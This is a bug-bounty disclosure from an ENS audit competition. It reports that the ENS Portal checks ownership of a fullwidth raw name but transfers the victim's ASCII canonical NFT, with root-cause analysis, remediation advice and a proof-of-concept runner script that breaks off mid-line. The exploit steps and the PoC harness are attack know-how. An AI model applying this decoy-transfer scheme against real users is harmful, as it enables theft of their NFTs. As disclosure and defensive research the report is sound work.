Portal authorizes a fullwidth raw ensv2 name but transfers the victim s ascii canonical twin nft
Originally disclosed on Immunefi
- Disclosed after under an hour
92111 w a critical portal authorizes a fullwidth raw ensv2 name but transfers the victim s ascii canonical twin nft
Submitted on Sep 7th 2026 at 09:12:31 UTC by @yaohao159123 for Audit Competition | ENS
- Report ID: #92111
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Direct theft of user NFTs
Description
Brief/Intro
An attacker can make ENS Portal authorize one ENSv2 name and execute a transfer for another. The attacker registers the byte-distinct raw label R7m3k96vzuzcereu.eth, while the victim owns canonical r7m3k96vzuzcereu.eth. After sending only the fullwidth raw NFT to the victim, the attacker directs the victim to Portal's official transfer page for R7m3k96vzuzcereu.eth. That route succeeds because the ownership gate checks the exact raw name.
The identity changes after that gate. Portal applies Unicode width compatibility and case folding before checking the transfer role and deriving the ERC-1155 token ID, so those operations target canonical r7m3k96vzuzcereu.eth. The page and transaction confirmation nevertheless continue to name raw R7m3k96vzuzcereu.eth. When the victim enters the attacker's address and approves the ordinary Transfer transaction, Portal calls safeTransferFrom for the canonical token ID. The canonical NFT and its transfer role move to the attacker, while the fullwidth raw NFT shown to the victim never leaves the victim's wallet. This is a successful application-generated wrong-asset transfer ending in NFT theft, rather than a visual homograph issue.
Vulnerability Details
The attacker controls a route name whose raw bytes identify one registered resource but whose normalized label identifies a second registered resource. Portal carries both identities through a single transfer workflow without binding them together. Ownership authorization uses the raw resource; permission authorization and calldata use its canonical sibling; the confirmation returns to the raw spelling.
The security invariant is that every stage - ownership, transfer permission, user confirmation, and calldata - must remain attached to one exact ENS resource. The transaction plan violates that invariant before it reaches the wallet.
An executed 23-input matrix confirms where that invariant can and cannot break. Raw-leaf transformations with an unchanged ancestor registry reach the same owner/role/token split; raw TLD changes miss the exact V2 .eth branch, raw-parent-only changes retain the raw parent registry, and encoded-labelhash forms stop when getLabel rejects bracket notation. The fullwidth raw leaf crossed every extracted gate and was therefore selected for the runtime proof.
One-screen identity split
| Attacker-relevant stage | Identity selected by Portal |
|---|---|
| Raw route used to reach the form | raw R7m3k96vzuzcereu.eth |
| Ownership gate that admits the victim | raw R7m3k96vzuzcereu.eth |
| Name presented on the page and in confirmation | raw R7m3k96vzuzcereu.eth |
| Transfer-role gate | canonical r7m3k96vzuzcereu.eth |
| ERC-1155 token ID inserted into the plan | canonical tokenId(r7m3k96vzuzcereu) |
| NFT transferred by the successful transaction | canonical r7m3k96vzuzcereu.eth NFT |
| Decoy NFT remaining with the victim | raw R7m3k96vzuzcereu.eth NFT |
The raw asset is therefore useful to the attacker as an authorization and display decoy. The canonical sibling is the asset Portal actually selects at the transfer sink.
Demonstrated attack path
The exploit separates attacker preparation from the victim's single product interaction:
- The victim already owns canonical
r7m3k96vzuzcereu.ethand holds its normal transfer role. - The attacker registers byte-distinct raw
R7m3k96vzuzcereu.eth. The deployed ENSv2 registrar gives this raw resource a token ID different from the canonical sibling. - Using only public operations over the attacker's asset, the attacker transfers the raw
R7m3k96vzuzcereu.ethNFT to the victim. The attacker then sends the Portal route/<fullwidth-name>/ownership/transferand asks the victim to return the name that appeared to have been delivered by mistake. - The connected victim opens that official route. Portal resolves ownership for raw
R7m3k96vzuzcereu.eth, sees the victim as its owner, and renders the transfer form. - The victim supplies the attacker's recipient address and advances to confirmation.
- Portal states
Transfer name - R7m3k96vzuzcereu.eth, so the victim approves one wallet request intending to return that raw NFT. - The mined request is instead
safeTransferFrom(victim, attacker, tokenId(r7m3k96vzuzcereu), 1, 0x). It succeeds and gives the attacker the victim's canonical NFT.
No error or unusual recovery action alerts the victim. The path needs no failed transaction, Retry, race, stale indexer, malicious resolver, privileged initial configuration, or post-failure approval. Attacker setup is complete before contact; the victim performs the documented Transfer flow once and approves one successful transaction.
The trigger depends on a fullwidth-to-ASCII compatibility mapping: the raw first character is FULLWIDTH LATIN CAPITAL LETTER R (U+FF32), while the canonical first character is ASCII lowercase r. The two registered resources have different raw packets and token IDs even though Portal's normalization step maps the former route value to the latter label.
Root cause
The wrong-asset call is assembled through the following source-level identity changes:
apps/portal/src/routes/$name.tsx:25-44allows nested routes to continue for a non-normalized 2LD. A falseisValidEnsName(name)result only prevents the TLD redirect; it does not stop the later owner lookup.apps/portal/src/routes/$name/ownership/transfer.tsx:22-27sends the unmodified route parameter intogetEnsOwnerQueryOptions({ name }).apps/portal/src/routes/$name/ownership/transfer.tsx:103-110compares the connected wallet with the owner resolved for that raw route identity. This is the gate the attacker's decoy NFT satisfies.apps/portal/src/utils/ens/resolveEnsOwner.ts:44-50passes the exact name to ENSJS v2getOwner. In the pinned ENSJS code,packetToBytes(name)is called directly without first normalizing the string.- The identity then switches in
apps/portal/src/features/transfer/hooks/useCanTransferName.ts:55-73, which callsgetLabel(name). Atapps/portal/src/utils/token/getLabel.ts:10-19,ens_normalize(name)changes fullwidthR7m3k96vzuzcereu.ethinto canonical labelr7m3k96vzuzcereubefore Portal evaluates the transfer role. apps/portal/src/features/transfer/hooks/useTransferName.ts:109-115callsgetLabel(name)again and supplies the resulting canonical label togetEnsTokenId. The transaction plan is therefore bound to canonicaltokenId(r7m3k96vzuzcereu).- At
apps/portal/src/features/transfer/hooks/useTransferName.ts:174-180, the confirmation message is built from the original rawname, restoring the decoy identity in what the victim sees. - Finally,
apps/portal/src/features/transfer/helpers/transferToken.ts:63-83encodes the already prepared canonical token ID in the registry's ERC-1155safeTransferFromcall.
The same route value consequently produces two different security subjects:
routeName = raw R7m3k96vzuzcereu.eth
ownerSubject = packetToBytes(raw R7m3k96vzuzcereu.eth)
displaySubject = raw R7m3k96vzuzcereu.eth
label = getLabel(routeName) = canonical r7m3k96vzuzcereu
roleSubject = labelhash(canonical r7m3k96vzuzcereu)
tokenSubject = getTokenId(labelhash(canonical r7m3k96vzuzcereu))
walletCall = safeTransferFrom(victim, attacker, tokenId(canonical r7m3k96vzuzcereu), 1, 0x)
Runtime proof
The runtime witness exercised the real Portal against deployed ENSv2 bytecode on a pinned local Sepolia fork. The only function of the target-provided mock-wallet test connector was to expose the connected Anvil EOA; neither transfer selection nor execution was patched or substituted.
The witness made the identity swap observable at the UI, wallet-request, receipt, and final-state layers:
raw name displayed: R7m3k96vzuzcereu.eth
canonical name: r7m3k96vzuzcereu.eth
raw token ID: 0x4e11720eb6ae184bea8e6b6a05894c7a092fc58b906e742890e11fe100000000
canonical token ID: 0x6c56514e12a4ad42ca67202250eb2c8d3fc9da76c1e617692490a23a00000000
confirmation: Transfer name - R7m3k96vzuzcereu.eth
submitted token ID: canonical token ID
local transaction: 0x2301e9f647d5e488454f1d8df71ad62b1ba72f8005070405b4c2bdaf184aee2a
receipt: success
The successful receipt produced the theft state, while leaving the displayed decoy untouched:
| State | Before victim approval | After successful receipt |
|---|---|---|
| Victim raw-token balance | 1 | 1 |
| Victim canonical-token balance | 1 | 0 |
| Attacker canonical-token balance | 0 | 1 |
| Victim canonical transfer role | true | false |
| Attacker canonical transfer role | false | true |
The captured wallet request decodes to selector 0xf242432a (safeTransferFrom), recipient 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, amount 1, and the canonical token ID. That ID is byte-for-byte different from the raw token ID corresponding to the name displayed throughout the interaction.
The decoded fullwidth transaction and resource identities were:
| Fullwidth runtime field | Observed value |
|---|---|
| Raw name displayed and owner-queried | R7m3k96vzuzcereu.eth (U+FF32 first character) |
| Canonical name selected | r7m3k96vzuzcereu.eth |
| Raw token ID | 0x4e11720eb6ae184bea8e6b6a05894c7a092fc58b906e742890e11fe100000000 |
| Canonical token ID | 0x6c56514e12a4ad42ca67202250eb2c8d3fc9da76c1e617692490a23a00000000 |
| Confirmation | Transfer name - R7m3k96vzuzcereu.eth |
| Submitted token ID | canonical token ID |
| Local transaction | 0x2301e9f647d5e488454f1d8df71ad62b1ba72f8005070405b4c2bdaf184aee2a |
| Receipt | success, gas used 77890 |
After that receipt, the victim's raw balance remained 1, the victim's canonical balance became 0, and the attacker's canonical balance became 1. The victim retained the raw transfer role but lost the canonical transfer role; the attacker gained the canonical transfer role. Browser pageErrors was empty.
Controls
Two differential controls isolate the attacker's required condition while holding Portal, the connector, the fork, the registry, and both actors constant:
- From a canonical route, Portal displays the canonical name, prepares its matching canonical token ID, and transfers that same token successfully. This establishes the expected identity-preserving path.
- For a raw-only token with no canonical sibling, raw ownership resolution succeeds but the normalized transfer-role gate fails. Portal reports
Transfer not available, renders no recipient form, and emits no transaction. This establishes why the victim must also own the canonical sibling.
Together, the controls rule out a generic ERC-1155 behavior or test-harness artifact. The exploitable condition is specifically the combination of raw-resource ownership at entry and canonical-resource authorization at the transaction plan.
The execution ran both controls without changing their drivers or verifiers. The raw-only control stopped at Transfer not available, the canonical control transferred exactly the displayed token, and the chain verifier returned PASS_L5_RAW_UI_CANONICAL_NFT_THEFT_R7M3K9.
Recommended remediation
- Stop non-normalized route names before any nested
$nameroute or query executes, except for explicitly supported encoded-labelhash representations. - At route entry, create one immutable identity object containing exact name bytes, registry, resource or label hash, and versioned token ID. Carry that object through the whole operation.
- Evaluate owner and transfer-role authority against that one resource, render the same resource to the user, and encode only the token ID already bound to it.
- Add a final pre-wallet assertion that the displayed name resolves to exactly the token ID in the prepared call.
- Add regressions with both
Rexample.ethandrexample.ethregistered. Portal must reject the fullwidth raw route or transfer the exact raw token it displays; it must never use that route to transfer the ASCII canonical sibling.
Impact Details
Recommended selected impact: Direct theft of user NFTs (Critical).
The victim authorizes the return of the attacker's decoy but Portal transfers the victim's canonical ENSv2 NFT. Once the successful transaction is mined, the attacker owns that NFT and receives its transfer capability. The victim retains only raw R7m3k96vzuzcereu.eth; that token gives no authority over canonical r7m3k96vzuzcereu.eth. Because both canonical ownership and the canonical transfer role have moved, the victim cannot reverse the loss with a normal setAddr, role edit, page reload, or second Portal transfer. Recovery depends on attacker cooperation.
The result also fits the program's Critical example involving an application that shows an incorrect name or transaction detail and thereby induces an unintended transaction. Here the UI and confirmation identify raw R7m3k96vzuzcereu.eth, while the prepared calldata and terminal chain state identify canonical r7m3k96vzuzcereu.eth. Direct NFT theft remains the primary impact because the runtime proof demonstrates the asset movement itself. No later incorrect resolution or downstream fund theft is necessary.
Why this differs from the disclosed input-normalization issue
The publicly disclosed input-normalization issue concerns name validators that accept deceptive characters which normalization later rejects or transforms. Its description limits practical impact to homograph-style UI confusion "rather than incorrect resolution." The present finding begins after registration, crosses an ownership/asset boundary, and ends in a successful transfer of a different NFT:
| Dimension | Disclosed input-normalization issue | This finding |
|---|---|---|
| Attacker ingress | deceptive text accepted by a name-input validator | an already registered raw resource opened through a public nested route, without an input validator |
| Broken invariant | validator and normalization behavior disagree | ownership authorization and transaction construction select different registered resources |
| Decisive source | Manager/Explorer validators | owner route, role gate, token-ID preparation, and ERC-1155 transfer sink |
| Terminal sink | UI confusion | successful safeTransferFrom of the victim's other NFT |
| Publicly described impact | display-only | attacker receives the canonical NFT and its transfer role |
| Sufficient narrow repair | align or reject deceptive validator input | bind authorization, display, and calldata to the same exact resource |
The attack does not depend on the victim overlooking the fullwidth character. Even if the victim reads R7m3k96vzuzcereu.eth precisely as written, Portal continues to present that exact raw name while encoding a token ID for ASCII r7m3k96vzuzcereu.eth.
A parent-route rejection of every non-normalized name could mitigate both behaviors, but a shared broad mitigation does not collapse a validator-only display problem into this cross-resource asset transfer. The underlying non-public report and its proposed patch were unavailable for inspection, so this distinction is limited to the program's public description.
Triage-facing clarifications
- The victim sequence is ordinary, not manufactured: The attacker handles registration and raw-token delivery in advance. The victim opens the official return-transfer route and approves one successful Transfer request.
- The victim cannot repair the terminal state: Canonical ownership and the corresponding transfer role end with the attacker. Possession of the raw decoy does not restore either capability.
- The impact is not confined to text: Decoded calldata, the successful receipt, ERC-1155 balance changes, ownership reads, and role reads independently establish movement of the wrong NFT.
- Application transfer logic is unmodified: All five transaction-decisive Portal files used by the PoC have the same hashes as frozen competition source. PoC components seed local state, operate the UI, capture RPC, and verify final state; they do not replace the vulnerable code.
- The route is independently in scope:
/$name/ownership/transferis a public in-scope path. It accepts the raw on-chain name through its parent and nested routes and presents the real transfer form, irrespective of dashboard inclusion. - Portal creates the harmful choice: The registrar exposes two valid distinct resources, but the in-scope application chooses the canonical token ID after authorizing and displaying the raw resource.
References
Scope and source facts:
- In-scope asset:
apps/portal(Explorer app / Websites & Apps). - Frozen competition source revision:
cda79acaad59711b943fc68207ebb3f1d0ff8596. - Public
audit-comp-readyhead checked on 2026-08-26:1c9b47f18fcddd2e864dfe385c4171061c9811ae. - Public changes after the frozen revision are limited to Hono/package-manifest and lockfile updates; no public route-normalization, owner-binding, or transfer-token repair is present.
- SHA-256 values for the five decisive Portal files match between the executed checkout and frozen competition source.
Links:
- Program scope: https://immunefi.com/audit-competition/audit-competition-ens/scope/
- In-scope Portal: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Parent name route: https://github.com/immunefi-team/audit-comp-ens/blob/audit-comp-ready/apps/portal/src/routes/%24name.tsx
- Transfer route: https://github.com/immunefi-team/audit-comp-ens/blob/audit-comp-ready/apps/portal/src/routes/%24name/ownership/transfer.tsx
- Owner resolution: https://github.com/immunefi-team/audit-comp-ens/blob/audit-comp-ready/apps/portal/src/utils/ens/resolveEnsOwner.ts
- Transfer-role check: https://github.com/immunefi-team/audit-comp-ens/blob/audit-comp-ready/apps/portal/src/features/transfer/hooks/useCanTransferName.ts
- Transfer preparation: https://github.com/immunefi-team/audit-comp-ens/blob/audit-comp-ready/apps/portal/src/features/transfer/hooks/useTransferName.ts
- ERC-1155 transfer helper: https://github.com/immunefi-team/audit-comp-ens/blob/audit-comp-ready/apps/portal/src/features/transfer/helpers/transferToken.ts
Proof of Concept
What this PoC proves
This section is self-contained: it includes the exact runner, deployment and state-seeding program, real-browser driver, chain verifier, both differential controls, integrity manifest, and all commands needed to execute them. It does not require a personal code-hosting page, an unpublished helper, or a machine-specific path.
The distinct trigger uses FULLWIDTH LATIN CAPITAL LETTER R (U+FF32) in raw R7m3k96vzuzcereu.eth. ENS normalization maps it to canonical r7m3k96vzuzcereu.eth, but raw packet encoding keeps the two resources distinct. The deployed registrar on the pinned local fork accepted both labels and assigned different ERC-1155 token IDs. The real Portal admitted the victim through raw ownership, displayed the fullwidth name, and submitted one successful transfer for the canonical token.
The run used official source commit 1c9b47f18fcddd2e864dfe385c4171061c9811ae, deployed ENSv2 bytecode at Sepolia block 11570503 (hash 0xba286ed6ee35619278654460d15d29d0b2fa90d9ed2f01f136bf083bb898839e), Node 22, pnpm 10, Foundry Anvil/Cast 1.7.1, Python 3.14, and Playwright 1.55.0 with Chromium. The runner verifies all five transaction-decisive Portal source hashes before starting. Every transaction is mined only by local Anvil; no production Portal or live-chain write is used.
The concrete fullwidth run produced raw token ID 0x4e11720eb6ae184bea8e6b6a05894c7a092fc58b906e742890e11fe100000000, canonical token ID 0x6c56514e12a4ad42ca67202250eb2c8d3fc9da76c1e617692490a23a00000000, modal text Transfer name - R7m3k96vzuzcereu.eth, and local transaction 0x2301e9f647d5e488454f1d8df71ad62b1ba72f8005070405b4c2bdaf184aee2a. The receipt succeeded. The victim retained the displayed raw token but lost the canonical token and its transfer role; the attacker received both.
Reproduction steps
Prerequisites are macOS or Linux, Node 22 with pnpm 10, Foundry (anvil and cast), Python 3, Chromium support, curl, lsof, shasum, rg, and network access to fetch the official repository, dependencies, and read-only Sepolia archive state. The runner defaults to the archive endpoint that passed the pinned-block and historical-storage checks; ENS_POC_ARCHIVE_RPC may override it with another archive-capable endpoint.
Create a clean directory, fetch the exact official source, install dependencies, create the Python environment, save every file block in this report at the stated path, and run:
mkdir ens-fullwidth-reproduction
cd ens-fullwidth-reproduction
git init audit-comp-ens
git -C audit-comp-ens remote add origin https://github.com/immunefi-team/audit-comp-ens.git
git -C audit-comp-ens fetch --depth 1 origin 1c9b47f18fcddd2e864dfe385c4171061c9811ae
git -C audit-comp-ens switch --detach FETCH_HEAD
pnpm --dir audit-comp-ens install --frozen-lockfile
python3 -m venv .venv
.venv/bin/python -m pip install playwright==1.55.0
.venv/bin/python -m playwright install chromium
mkdir -p ens-fullwidth-poc/scripts
# Save each complete source block below under its stated relative filename.
chmod +x ens-fullwidth-poc/run-poc-r7m3k9.zsh
ENS_SOURCE_ROOT="$PWD/audit-comp-ens" \
ENS_POC_PYTHON="$PWD/.venv/bin/python" \
./ens-fullwidth-poc/run-poc-r7m3k9.zsh
If the current directory is already ens-fullwidth-poc, the same runner can be started with relative paths:
chmod +x run-poc-r7m3k9.zsh
ENS_SOURCE_ROOT=../audit-comp-ens \
ENS_POC_PYTHON=../.venv/bin/python \
./run-poc-r7m3k9.zsh
The runner must be saved as ens-fullwidth-poc/run-poc-r7m3k9.zsh:
#!/bin/zsh
set -euo pipefail
BUNDLE_DIR=${0:A:h}
SOURCE_ROOT=${ENS_SOURCE_ROOT:-}
PYTHON=${ENS_POC_PYTHON:-python3}
ARCHIVE_RPC=${ENS_POC_ARCHIVE_RPC:-https://sepolia.gateway.tenderly.co}
ANVIL_PORT=18547
PORTAL_PORT=3102
ANVIL_RPC=http://127.0.0.1:${ANVIL_PORT}
PORTAL_URL=http://127.0.0.1:${PORTAL_PORT}
OUTPUT_DIR=${ENS_POC_OUTPUT_DIR:-${BUNDLE_DIR}/runtime-output-r7m3k9}
EVIDENCE_DIR=${OUTPUT_DIR}/evidence
LOG_DIR=${OUTPUT_DIR}/logs
if [[ -z ${SOURCE_ROOT} ]]; then
print -u2 'Set ENS_SOURCE_ROOT to a checkout of immunefi-team/audit-comp-ens.'
exit 1
fi
SOURCE_ROOT=${SOURCE_ROOT:A}
if [[ ! -f ${SOURCE_ROOT}/apps/portal/package.json ]]; then
print -u2 "ENS_SOURCE_ROOT is not an audit-comp-ens checkout: ${SOURCE_ROOT}"
exit 1
fi
for command in pnpm anvil cast curl lsof shasum cmp cp rg awk tee; do
command -v ${command} >/dev/null 2>&1 || {
print -u2 "Missing command: ${command}"
exit 1
}
done
[[ -x ${SOURCE_ROOT}/e2e/node_modules/.bin/tsx ]] || {
print -u2 'Missing e2e dependencies. Run pnpm install --frozen-lockfile in ENS_SOURCE_ROOT.'
exit 1
}
${PYTHON} -c 'from playwright.sync_api import sync_playwright' >/dev/null
for port in ${ANVIL_PORT} ${PORTAL_PORT}; do
if lsof -nP -iTCP:${port} -sTCP:LISTEN >/dev/null 2>&1; then
print -u2 "Port ${port} is already in use"
exit 1
fi
done
check_source_hash() {
local expected=$1
local relative_path=$2
local actual
actual=$(shasum -a 256 "${SOURCE_ROOT}/${relative_path}" | awk '{print $1}')
[[ ${actual} == ${expected} ]] || {
print -u2 "Unexpected audited source hash for ${relative_path}: ${actual}"
exit 1
}
}
# These are the transaction-decisive files from the frozen competition source.
check_source_hash 8887408c907f1430719b2b3e1a3f0d8544d7185b5e1db59e55c4a7f3864a508e apps/portal/src/features/transfer/hooks/useTransferName.ts
check_source_hash 627de3bc78ceae9e4ac56f8058bf983e2d5d5d57d9efa8ab263e6f369688b6d9 apps/portal/src/features/transfer/hooks/useCanTransferName.ts
check_source_hash 4f9e9086443571186c76e565d3ff45a952e7fb737c68c87e527515f837512a9c apps/portal/src/features/transfer/helpers/transferToken.ts
check_source_hash 44d8d116e473e146df48ae4796f4ada3c320d1d313031735245c2af91ee1518e 'apps/portal/src/routes/$name/ownership/transfer.tsx'
check_source_hash ac8cb1049e0fecb12604b7681111495dd6d2f02128ac2b542adeb95c19866444 apps/portal/src/utils/ens/resolveEnsOwner.ts
mkdir -p "${EVIDENCE_DIR}" "${LOG_DIR}"
script_names=(
poc-raw-label-transfer-seed-r7m3k9.ts
poc-raw-label-transfer-verify-r7m3k9.ts
poc-raw-label-transfer-control-seed-r7m3k9.ts
poc-raw-label-transfer-control-verify-r7m3k9.ts
)
created_scripts=()
pids=()
cleanup() {
for pid in ${pids[@]:-}; do
kill ${pid} >/dev/null 2>&1 || true
done
for port in ${ANVIL_PORT} ${PORTAL_PORT}; do
for pid in $(lsof -nP -tiTCP:${port} -sTCP:LISTEN 2>/dev/null); do
kill ${pid} >/dev/null 2>&1 || true
done
done
for installed_script in ${created_scripts[@]:-}; do
case ${installed_script} in
${SOURCE_ROOT}/e2e/scripts/*-r7m3k9.ts)
rm -f -- "${installed_script}"
;;
esac
done
}
trap cleanup EXIT INT TERM
for script_name in ${script_names}; do
bundled=${BUNDLE_DIR}/scripts/${script_name}
installed=${SOURCE_ROOT}/e2e/scripts/${script_name}
if [[ -e ${installed} ]]; then
cmp -s "${bundled}" "${installed}" || {
print -u2 "Existing PoC script differs: ${installed}"
exit 1
}
else
cp "${bundled}" "${installed}"
created_scripts+=(${installed})
fi
done
wait_rpc() {
local attempts=0
until curl -fsS --noproxy '*' --max-time 2 \
-H 'content-type: application/json' \
--data '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' \
${ANVIL_RPC} >/dev/null 2>&1; do
attempts=$((attempts + 1))
[[ ${attempts} -lt 240 ]] || {
print -u2 'Timed out waiting for Anvil'
exit 1
}
sleep 0.5
done
}
wait_portal() {
local attempts=0
until curl -fsS --noproxy '*' --max-time 2 ${PORTAL_URL} >/dev/null 2>&1; do
attempts=$((attempts + 1))
[[ ${attempts} -lt 480 ]] || {
print -u2 'Timed out waiting for Portal'
exit 1
}
sleep 0.5
done
}
expected_fork_hash=0xba286ed6ee35619278654460d15d29d0b2fa90d9ed2f01f136bf083bb898839e
fork_hash=$(cast block 11570503 --field hash --rpc-url "${ARCHIVE_RPC}")
[[ ${fork_hash} == ${expected_fork_hash} ]] || {
print -u2 "Archive RPC returned the wrong block hash: ${fork_hash}"
exit 1
}
export NO_PROXY=127.0.0.1,localhost
export no_proxy=127.0.0.1,localhost
anvil --fork-url "${ARCHIVE_RPC}" --fork-block-number 11570503 \
--host 127.0.0.1 --port ${ANVIL_PORT} --chain-id 11155111 --silent \
>"${LOG_DIR}/anvil-r7m3k9.log" 2>&1 &
pids+=($!)
wait_rpc
(
cd "${SOURCE_ROOT}"
ANVIL_RPC_URL=${ANVIL_RPC} \
POC_STATE_PATH=${EVIDENCE_DIR}/seed-state-r7m3k9.json \
./e2e/node_modules/.bin/tsx e2e/scripts/poc-raw-label-transfer-seed-r7m3k9.ts
) | tee "${LOG_DIR}/seed-r7m3k9.log"
(
cd "${SOURCE_ROOT}"
VITE_SEPOLIA_RPC_URL=${ANVIL_RPC} \
VITE_USE_MOCK_WALLET=true \
VITE_MOCK_ACCOUNT=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 \
pnpm --filter portal dev --host 127.0.0.1 --port ${PORTAL_PORT}
) >"${LOG_DIR}/portal-r7m3k9.log" 2>&1 &
pids+=($!)
wait_portal
POC_STATE_PATH=${EVIDENCE_DIR}/seed-state-r7m3k9.json \
POC_ARTIFACT_DIR=${EVIDENCE_DIR} \
PORTAL_URL=${PORTAL_URL} \
"${PYTHON}" "${BUNDLE_DIR}/scripts/drive-portal-transfer-r7m3k9.py" \
| tee "${LOG_DIR}/browser-r7m3k9.log"
(
cd "${SOURCE_ROOT}"
ANVIL_RPC_URL=${ANVIL_RPC} \
POC_STATE_PATH=${EVIDENCE_DIR}/seed-state-r7m3k9.json \
POC_VERIFY_PATH=${EVIDENCE_DIR}/chain-verification-r7m3k9.json \
./e2e/node_modules/.bin/tsx e2e/scripts/poc-raw-label-transfer-verify-r7m3k9.ts
) | tee "${LOG_DIR}/verify-r7m3k9.log"
(
cd "${SOURCE_ROOT}"
ANVIL_RPC_URL=${ANVIL_RPC} \
POC_CONTROL_STATE_PATH=${EVIDENCE_DIR}/control-state-r
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity business logic bug in https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal. Immunefi made it public on 7 September 2026.
About Business logic
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.